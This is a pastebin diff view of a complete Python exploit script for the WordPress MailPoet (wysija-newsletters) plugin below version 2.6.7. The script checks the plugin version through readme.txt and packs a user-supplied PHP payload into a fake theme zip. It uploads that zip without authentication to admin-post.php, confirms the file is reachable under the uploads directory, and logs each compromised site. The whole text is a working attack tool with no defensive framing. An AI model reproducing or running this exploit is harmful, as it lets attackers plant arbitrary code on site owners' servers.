View difference between Paste ID: yy5iCwwR and BdXw2K2q
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
# not coded by me
4
5
from random import choice
6
import string
7
import sys
8
import re
9
from zipfile import ZipFile
10
from StringIO import StringIO
11
import requests
12
from colors import red, green, blue  # pip install ansicolors
13
14
15
def version_compare(v1, v2):
16
    def normalize(v):
17
        return [int(x) for x in re.sub(r'(\.0+)*$', '', v).split(".")]
18
    return cmp(normalize(v1), normalize(v2))
19
20
21
def create_zip_file(theme_name, payload_name, payload):
22
    files = {
23
        "%s/%s" % (theme_name, 'style.css'): '',
24
        "%s/%s" % (theme_name, payload_name): payload
25
    }
26
    zip_file = StringIO()
27
    with ZipFile(zip_file, 'w') as zip:
28
        for path in files:
29
            zip.writestr(path, files[path])
30
    zip_file.seek(0)
31
    return zip_file
32
33
34
def check(url):
35
    readme_url = "%s/wp-content/plugins/wysija-newsletters/readme.txt" % url
36
    res = requests.get(readme_url, timeout=15, verify=False)
37
    if res.status_code == 200:
38
        match = re.search("stable tag: (.*)[\r\n]", res.text, re.I)
39
        version = match.group(1)
40
        fun = green if version_compare(version, "2.6.7") < 0 else blue
41
        print fun("[?] found version: %s" % version)
42
        return version_compare(version, "2.6.7") < 0
43
    else:
44
        raise Exception("error getting version")
45
46
47
def exploit(url, payload_data):
48
    theme_name = '.tmp' # better to keep the chaos to one directory.
49
    payload_name = ''.join([choice(string.letters) for i in range(5)]) + ".php"
50
    zip_file = create_zip_file(theme_name, payload_name, payload_data)
51
52
    files = {'my-theme': ('%s.zip' % theme_name, zip_file, "application/x-zip-compressed")}
53
    data = {
54
        "action": "themeupload",
55
        "submitter": "Upload",
56
        "overwriteexistingtheme": "on"
57
    }
58
59
    target_url = "%s/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" % url
60
    payload_url = "%s/%s/%s/%s" % (url, 'wp-content/uploads/wysija/themes', theme_name, payload_name)
61
62
    print blue("[?] attempting to upload zip (%s)..." % target_url)
63
    # Don't rely on checking response, have observed some strange behaviour even with successful upload
64
    requests.post(target_url, files=files, data=data, verify=False, timeout=15)
65
66
    print blue("[?] checking upload (%s)..." % payload_url)
67
    response = requests.head(payload_url, verify=False, timeout=15)
68
    if response.status_code == 200:
69
        print green("[+] found: %s" % payload_url)
70
        return payload_url
71
    else:
72
        raise Exception("upload failed.")
73
74
75
if __name__ == "__main__":
76
77
    if len(sys.argv) > 2:
78
        payload = open(sys.argv[1]).read()
79
        wp_url = sys.argv[2]
80
        try:
81
            if check(wp_url):
82
                res = exploit(wp_url, payload)
83
                if res:
84
                    with open("found-sija.log", "a") as log:
85
                        log.write("%s\n" % res)
86
        except Exception as e:
87
            print red("[!] %s - %s" % (wp_url, e))